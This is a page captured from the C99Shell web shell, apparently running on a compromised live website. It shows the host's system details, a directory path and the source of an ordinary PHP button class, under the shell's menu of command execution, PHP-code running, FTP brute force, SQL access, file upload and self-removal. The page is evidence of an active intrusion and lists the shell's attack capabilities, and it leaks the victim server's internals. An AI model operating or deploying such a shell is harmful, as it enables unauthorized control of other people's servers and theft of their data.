!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     button.php (3.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Button
{
    var 
$keys = array();
    
    var 
$currentKeys = array();
    
    var 
$selectedKeys = array();
    
    var 
$isManyKeys false;
    
    var 
$isGetNext false;
    
    var 
$location "";
    
    var 
$nextInd;

    var 
$table;

    var 
$page;

    var 
$tempFileNames = array();
    
    function 
__construct(&$params)
    {
        
RunnerApply($this$params);
        
        
$this->nextInd 0;
        
$this->modifyKeys();
        
$this->separateKeys();
    }
    
/**
     * Separate modified post keys to current and selected  
     */
    
function separateKeys()
    {
        if(
$this->location == 'grid')
        {
            if(
$this->isManyKeys
            {
                
$this->currentKeys $this->keys[0];
                for(
$i=1$i<count($this->keys); $i++)
                    
$this->selectedKeys[$i-1] = $this->keys[$i]; 
            }
            else
                
$this->currentKeys $this->keys;
        }
        if(
$this->location == PAGE_LIST) {
            
$this->selectedKeys $this->keys;
            
$this->currentKeys $this->keys;
        }
        
        if(
$this->location == PAGE_EDIT || $this->location == PAGE_VIEW)
            
$this->currentKeys $this->keys;
    }
    
/**
     * Modify post keys array to associative 
     */
    
function modifyKeys()
    {
        global 
$gSettings;
        
        
$keys = array();
        
        
// if array of keys exists
        
if(count($this->keys))
        {
            
$tKeysNamesArr $gSettings->getTableKeys();
            if(
$this->isManyKeys)
            {
                foreach (
$this->keys as $ind => $value)
                {
                    
$keys[$ind] = array();
                    
$recKeyArr explode('&'$value);
                    for(
$j=0;$j<count($tKeysNamesArr);$j++)
                    {
                        if (isset(
$recKeyArr[$j])){
                            
$keys[$ind][$tKeysNamesArr[$j]] = urldecode($recKeyArr[$j]);
                        }
                    }
                }
            }
            else
            {
                
$keysReady true;
                foreach( 
$tKeysNamesArr as $kf ) {
                    if( !isset( 
$this->keys$kf ] ) ) {
                        
$keysReady false;
                        break;
                    }
                }
                
                if( 
$keysReady )
                    return;                
                
                for(
$j=0;$j<count($tKeysNamesArr);$j++)
                {
                    
$keys[$tKeysNamesArr[$j]] = urldecode(@$this->keys[$j]);
                }
            }
        }
        
$this->keys $keys;
    }
    
/**
     * Get keys
     * @return {array} 
     */
    
function getKeys()
    {
        return 
$this->keys;
    }    
    
/**
     * Get current record data
     *
     * @return {mixed} array of next record data or false
     */
    
function getCurrentRecord()
    {
        return 
$this->getRecordData();
    }
    
/**
     * Get next selected record
     *
     * @return {mixed} array of next record data or false
     */
    
function getNextSelectedRecord()
    {
        if(
$this->nextInd count($this->selectedKeys))
        {
            
$this->isGetNext true;
            return 
$this->getRecordData();
        }
        else
            return 
false;
    }
    
/**
     * Read values from the database by keys
     *
     * @return {mixed} array of current record data or false
     */
    
function getRecordData()
    {

        global 
$gSettings$gQuery$cipherer$cman;
    
        if(
$this->location!=PAGE_EDIT && $this->location!=PAGE_VIEW && $this->location!=PAGE_LIST && $this->location!='grid' && !$next)
            return 
false;
        
        
$connection $cman->byTable$this->table );
        
        if(
$this->isGetNext)
        {
            
$this->isGetNext false;
            
$keys $this->selectedKeys[$this->nextInd];
            
$this->nextInd=$this->nextInd+1;
        }
        else
            
$keys $this->currentKeys;
        
        
$strSQL $gQuery->buildSQL_default( array( KeyWhere($keys$this->table ), SecuritySQL("Search"$this->table ) ) );
        
LogInfo($strSQL);
        
        
$data $cipherer->DecryptFetchedArray$connection->query$strSQL )->fetchAssoc() );
        return 
$data;
    }

    function 
getMasterData$masterTable )
    {
        if ( isset(
$_SESSION$masterTable "_masterRecordData" ]) )
        {
            return 
$_SESSION$masterTable "_masterRecordData" ];
        }
        
        return 
false;
    }

    function 
saveTempFile$contents ) {
        
$filename tempnam("""");
        
runner_save_file($filename$contents);
        
$this->tempFileNames[] = $filename;
        return 
$filename;
    }

    function 
deleteTempFiles() {
        foreach( 
$this->tempFileNames as $f ) {
            @
unlink$f );
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--